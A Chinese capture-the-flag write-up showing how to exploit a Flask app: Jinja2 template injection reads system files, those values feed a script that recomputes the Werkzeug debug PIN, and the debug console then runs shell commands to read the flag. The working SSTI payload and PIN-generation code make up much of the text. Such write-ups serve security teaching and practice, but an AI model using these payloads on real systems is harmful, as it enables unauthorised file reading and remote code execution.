考點:SSTI-Flask、Flask Debug模式、Flask PIN碼
參考:
[題解]https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html
[Flask Debug RCE利用]https://zhuanlan.zhihu.com/p/32138231
[Flask Debug PIN碼生成機制]https://www.cnblogs.com/HacTF/p/8160076.html
1.獲取提示
URL:/hint
提示:失敗乃成功之母!!
指的是Debug模式,則需利用Flask Debug模式
2.獲取報錯信息
URL:/decode
base64解密界面隨意輸入字符串,導致解碼報錯,進入Debug頁面,嘗試進入Debug Console,發現需要PIN碼
得到如下信息
- Python版本:3.7
- 文件地址:/usr/local/lib/python3.7/site-packages/flask/app.py
- 可能存在SSTI,來源(Debug源碼泄露) :return self.view_functions[rule.endpoint](**req.view_args)
2.SSTI讀取關鍵文件
2-1 SSTI讀取文件
由於是Python 3.7,框架為Flask,我們使用的exp如下(其中filename為想要讀取的文件)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
base64加密后,放入題目中解密即可
2-2 必須的信息
通過PIN碼生成機制可知,需要獲取如下信息
- 服務器運行flask所登錄的用戶名。通過/etc/passwd中可以猜測為flaskweb 或者root,此處用的flaskweb
- modname。一般不變就是flask.app
- getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python該值一般為Flask,該值一般不變
- flask庫下app.py的絕對路徑。報錯信息會泄露該值。題中為/usr/local/lib/python3.7/site-packages/flask/app.py
- 當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address 獲取(eth0為網卡名),本題為02:42:ae:01:0d:25,轉換后為2485410401573
- 機器的id
mac地址轉換代碼
mac ='02:42:ae:01:0d:25'.replace(':','') print(int(mac,base=16))
2-3 獲取機器的ID
對於非docker機每一個機器都會有自已唯一的id
Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件
Windows:閱讀參考鏈接
docker機:/proc/self/cgroup
本題讀取到/proc/self/cgroup如下

則ID為:eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990
3.計算PIN碼
生成文件路徑:{Python Lib根目錄}\site-packages\werkzeug\debug\__init__.py
本題中路徑:/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py (讀取失敗)
改為下載Flask源碼進行研究,通關精簡,最后的生成代碼如下
import hashlib from itertools import chain probably_public_bits = [ 'flaskweb',#服務器運行flask所登錄的用戶名 'flask.app',#modname 'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__) '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask庫下app.py的絕對路徑 ] private_bits = [ '2485410401573',#當前網絡的mac地址的十進制數 'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#機器的id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
計算得到ID為 147-718-817
4.尋找Flag
由於無法直接獲取到程序回顯,使用 os.popen("exp").read() 代替 os.system("exp")
os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()
成功讀取到Flag
